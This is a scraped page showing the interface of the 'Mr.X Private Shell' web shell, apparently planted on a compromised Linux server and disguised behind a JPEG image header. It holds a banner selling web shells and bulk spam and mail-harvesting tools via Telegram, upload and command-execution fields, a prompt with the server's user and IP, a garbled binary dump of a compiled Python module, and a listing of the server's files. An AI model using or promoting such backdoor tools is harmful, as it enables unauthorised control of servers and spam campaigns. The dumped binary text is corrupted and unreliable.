����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

"eJ
�@sxddlmZddlmZe��dvrtddlZddlmZddlm	Z	ddl
mZdd	lm
Z
ddlZGd
d�de�ZdS)�)�absolute_import)�System)ZarchZarcharmN�)�IPackageManager)�Package)�PackagesCollection)�Applicationsc@sXeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	e
dd��Zdd�ZdS)�AlpmcOs$||_t�dd�|_|j��|_dS)N�/z/var/lib/pacman)Zopts�pyalpmZHandleZhandleZget_localdb�db)�self�args�kwargs�r�?/usr/lib/python3.9/site-packages/tracer/packageManagers/alpm.py�__init__ sz
Alpm.__init__cCs6t�}|jjD]"}|j|kr|�t|j|j��q|S)zR
			Returns list of packages which were modified between unix_time and present
			)rr�pkgcache�installdate�appendr�name)r
Z	unix_timeZnew_pkgs�pkgrrr�packages_newer_than%s

zAlpm.packages_newer_thancCs$|j�|�}|sgSdd�|jD�S)z1
			Returns list of files provided by package
			cSsg|]}d|d�qS)r
rr��.0�frrr�
<listcomp>8�z&Alpm.package_files.<locals>.<listcomp>)r�get_pkg�files)r
�pkg_namerrrr�
package_files0szAlpm.package_filescCs2|sdS|j�|j�}|sdS|j|_|j|_dS)zN
			From database load informations about given package and set them to it
			N)rrrZdesc�descriptionrZmodified)r
�packagerrrr�load_package_info:szAlpm.load_package_infocCs|jd}|�|j�S)z@
			Returns name of package which provides given application
			r)Z	instances�_file_provided_byZexe)r
ZappZprocessrrr�provided_byIs
zAlpm.provided_bycCs*|j�|�}|r&t�|j|�dkr&|SdS)z<
			Find a package by name and some other input criteria
			rN)rrr�vercmp�version)r
r r(rrrr�find_packageQszAlpm.find_packagecCst�|j|j�S)zX
			vercmp returns:
			< 0 if ver1 < ver2
			0 if ver1 == ver2
			> 0 if ver1 > ver2
			)rr'r()r
Zpackage1Zpackage2rrr�compare_packagesYszAlpm.compare_packagescCs0t�||�}|t|�kr(|||kr(dSdSdS)z5
			Searches a sorted list, returns True if found
			TFN)�bisectZbisect_left�len)�l�item�irrr�
_bsearch_listbszAlpm._bsearch_listcCsH|jjD]:}dd�|jD�}|�||dd��rt|j|j�SqdS)z9
			Returns name of package which provides given file
			cSsg|]}|d�qS)rrrrrrrsrz*Alpm._file_provided_by.<locals>.<listcomp>rN)rrrr0rrr)r
�	file_namerrrrrr%ms
zAlpm._file_provided_byN)
�__name__�
__module__�__qualname__rrr!r$r&r)r*�staticmethodr0r%rrrrr	s
	

r	)Z
__future__rZtracer.resources.systemrZdistributionr+ZipackageManagerrZtracer.resources.packagerZtracer.resources.collectionsrZtracer.resources.applicationsrrr	rrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 158 B 0644
__init__.cpython-39.pyc File 158 B 0644
alpm.cpython-39.opt-1.pyc File 3.5 KB 0644
alpm.cpython-39.pyc File 3.5 KB 0644
dnf.cpython-39.opt-1.pyc File 1.57 KB 0644
dnf.cpython-39.pyc File 1.57 KB 0644
dpkg.cpython-39.opt-1.pyc File 2.79 KB 0644
dpkg.cpython-39.pyc File 2.79 KB 0644
ipackageManager.cpython-39.opt-1.pyc File 2.23 KB 0644
ipackageManager.cpython-39.pyc File 2.23 KB 0644
portage.cpython-39.opt-1.pyc File 3.49 KB 0644
portage.cpython-39.pyc File 3.49 KB 0644
rpm.cpython-39.opt-1.pyc File 6.38 KB 0644
rpm.cpython-39.pyc File 6.38 KB 0644
yum.cpython-39.opt-1.pyc File 689 B 0644
yum.cpython-39.pyc File 689 B 0644